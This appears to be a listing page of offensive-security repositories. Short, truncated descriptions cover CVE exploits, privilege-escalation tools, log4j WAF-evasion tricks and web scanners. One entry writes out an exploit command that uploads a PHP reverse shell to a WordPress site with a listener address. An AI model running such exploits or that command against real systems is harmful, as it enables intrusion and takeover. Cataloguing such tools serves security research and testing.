toxy

toxy Not actively maintained, may not work with latest node.js runtimes. If you are interested in maintaining toxy, please open an issue. Hackable HTTP proxy to simulate server failure scenarios , systems resiliency testing and unexpected network conditions , built for node.js. It was mainly...

CVE-2024-29988-exploit

CVE-2024-29988-exploit Exploit para la ejecución maliciosa de Microsoft SmartScreen abril de 2024 Descripción Se ha descubierto una vulnerabilidad crítica, CVE-2024-29988, en el lanzamiento de Patch Tuesday de abril de 2024 de Microsoft. Esta vulnerabilidad permite a los actores de amenazas eludi...

CVE-2021-40444

CVE-2021-40444 totalmente armamentizado Generador de docx malicioso para explotar CVE-2021-40444 Ejecución remota de código en Microsoft Office Word, funciona con archivos DLL arbitrarios. Actualización 31/05/2022 - CVE-2022-30190 - Follina Ahora el generador puede crear el documento necesario pa...

overlayFS-CVE-2021-3493

overlayFS CVE-2021-3493 OverlayFs OverlayFS es un módulo del kernel de Linux que permite al sistema combinar varios puntos de montaje en uno, para que pueda acceder a todos los archivos de cada uno dentro de una estructura de directorio. Sobre la vulnerabilidad Hace poco SSD-Discloure lanzó un Po...

CVE-2024-7313

Explotación de vulnerabilidad del plugin Shield Security CVE-2024-7313 Resumen Este repositorio contiene un script PoC en Python diseñado para explotar una vulnerabilidad de XSS reflejado en el plugin Shield Security para WordPress, que afecta a las versiones anteriores a la 20.0.6. La...

mcp-xray

MCP X-Ray !NOTE Looking to secure AI agent skills? Check out Skill X-Ray, an open-source static security scanner that analyzes skill packages for malicious or risky behavior before installation, without executing them. Overview MCP X-Ray is a unified open-source security scanning and penetration...

CVE-2023-45878

CVE-2023-45878 GibbonEdu: Escritura arbitraria de archivos para ejecución de una web shell Descripción Este repositorio contiene un exploit para CVE-2023-45878 , una vulnerabilidad de escritura arbitraria de archivos en GibbonEdu. La vulnerabilidad afecta al endpoint rubricsvisualisesaveAjax.php ...

CVE-2026-41940-PoC-Exploit

🚀 CVE-2026-41940 - Exploit de Bypass de Autenticación en cPanel/WHM Edición cPanel & WHM - Inyección CRLF para Bypass de Autenticación y Secuestro Total de Sesión 📌 Descripción general Este exploit aprovecha CVE-2026-41940 , una vulnerabilidad crítica de bypass de autenticación en cPanel/WHM. Al...

CrawlBox

CrawlBox | Forma sencilla de realizar fuerza bruta en directorios web. Sistemas Operativos Probados MacOSX Kali Linux Ubuntu 16.04 Uso python crawlbox.py -h -v -w WORDLIST url argumentos posicionales: url url objetivo específica, como domain.com argumentos opcionales: -h, --help muestra este...

CrawlBox

CrawlBox | Easy way to brute-force web directory. Operating Systems Tested MacOSX Kali Linux Ubuntu 16.04 Usage python crawlbox.py -h -v -w WORDLIST url positional arguments: url specific target url, like domain.com optional arguments: -h, --help show this help message and exit -v, --version show...

joomlavs

joomlavs A black box, Ruby powered, Joomla vulnerability scanner What is it? JoomlaVS is a Ruby application that can help automate assessing how vulnerable a Joomla installation is to exploitation. It supports basic finger printing and can scan for vulnerabilities in components, modules and...

RogueWinRM

RogueWinRM RogueWinRM es un exploit de escalada de privilegios local que permite escalar desde una cuenta de Servicio con SeImpersonatePrivilege a la cuenta de Sistema Local si el servicio WinRM no está en ejecución predeterminado en Win10 pero NO en Windows Server 2019. Brevemente, escuchará...

CVE-2018-4193

exploit para CVE-2018-4193...

goddi

ARCHIVE NOTE Project is no longer actively maintained. goddi - Go dump domain info Based on work from Scott Sutherland @nullbind, Antti Rantasaari, Eric Gruber @egru, Will Schroeder @harmj0y, and the PowerView authors. Install Use the executables in the releases section. If you want to build it...

Tater

Tater Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit. Credit All credit goes to @breenmachine, @foxglovesec, Google Project Zero, and anyone else that helped work out the details for this exploit. Potato - https://github.com/foxglovesec/Potato Included...

CVE-2021-44228-PoC-log4j-bypass-words

🤝 Muestra tu apoyo - da una ⭐️ si te gustó el contenido | COMPARTIR en Twitter | Sígueme en 🐱‍💻 ✂️ 🤬 Exploit de Java LOG4J - Trucos para evadir WAF y parches 📝 Descripción CVE-2021-44228 funciona en: log4j: 2.0 = Apache log4j = 2.14.1 Versión de Java ya parcheada: 6u211+, 7u201+, 8u191+, 11.0.1+...

Vulnerable-Docker-Engine

CVE-2021-41091 Este exploit ofrece un análisis detallado de la vulnerabilidad de seguridad CVE-2021-41091 y proporciona una guía paso a paso sobre cómo utilizar el script de exploit para lograr una escalada de privilegios en un host. Resumen de la Vulnerabilidad CVE-2021-41091 es una falla en Mob...

CVE-2021-3156

CVE-2021-3156 Nota: Estas instrucciones son mías y notas de un stream que hice. Si algo está mal, házmelo saber. ¡Confía primero en las fuentes oficiales! Hola a todos, Hace un par de días, se descubrió un grave desbordamiento de búfer basado en montón en sudo que puede ser explotado por cualquie...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 subida de shell inversa Exploit para WpDiscuz 7.0.4 basado en el exploit escrito por h3v0x. Explota la vulnerabilidad y sube una shell PHP inversa. La inspiración fue el CTF Blogger. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001...

CVE-2026-23009-DICOM-Network-Image-Injection-Without-Authentication

CVE-2026-23009 – Inyección de imágenes DICOM en la red sin autenticación Código del programa Python pydicom dicomserversim.py - DICOM C-STORE SCP with no AE title check from pynetdicom import AE, evt, AllStoragePresentationContexts def handlestoreevent: ds = event.dataset No authentication, accep...